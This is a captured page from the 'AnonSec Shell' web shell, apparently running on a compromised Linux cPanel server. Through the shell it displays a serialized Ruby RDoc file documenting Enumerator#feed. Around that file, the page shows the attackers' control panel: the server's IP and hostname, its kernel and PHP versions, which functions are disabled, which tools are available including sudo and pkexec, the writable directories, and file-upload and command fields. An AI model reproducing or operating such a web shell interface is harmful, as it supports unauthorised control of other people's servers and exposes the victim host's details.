AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.21
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerator/feed-i.ri
U:RDoc::AnyMethod[iI"	feed:ETI"Enumerator#feed;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"@Sets the value to be returned by the next yield inside +e+.;To:RDoc::Markup::BlankLineo;
;	[I"4If the value is not set, the yield returns nil.;T@o;
;	[I"/This value is cleared after being yielded.;T@o:RDoc::Markup::Verbatim;	['I"I# Array#map passes the array's elements to "yield" and collects the
;TI"'# results of "yield" as an array.
;TI"K# Following example shows that "next" returns the passed elements and
;TI"F# values passed to "feed" are collected as an array which can be
;TI")# obtained by StopIteration#result.
;TI"e = [1,2,3].map
;TI"p e.next           #=> 1
;TI"e.feed "a"
;TI"p e.next           #=> 2
;TI"e.feed "b"
;TI"p e.next           #=> 3
;TI"e.feed "c"
;TI"begin
;TI"  e.next
;TI"rescue StopIteration
;TI",  p $!.result      #=> ["a", "b", "c"]
;TI"	end
;TI"
;TI"o = Object.new
;TI"def o.each
;TI"&  x = yield         # (2) blocks
;TI"(  p x               # (5) => "foo"
;TI"&  x = yield         # (6) blocks
;TI"&  p x               # (8) => nil
;TI"&  x = yield         # (9) blocks
;TI":  p x               # not reached w/o another e.next
;TI"	end
;TI"
;TI"e = o.to_enum
;TI"e.next              # (1)
;TI"e.feed "foo"        # (3)
;TI"e.next              # (4)
;TI"e.next              # (7)
;TI"                    # (10);T:@format0:
@fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below0I"e.feed obj   -> nil
;T0[I"	(p1);T@9FI"Enumerator;TcRDoc::NormalClass00

Anon7 - 2022
AnonSec Team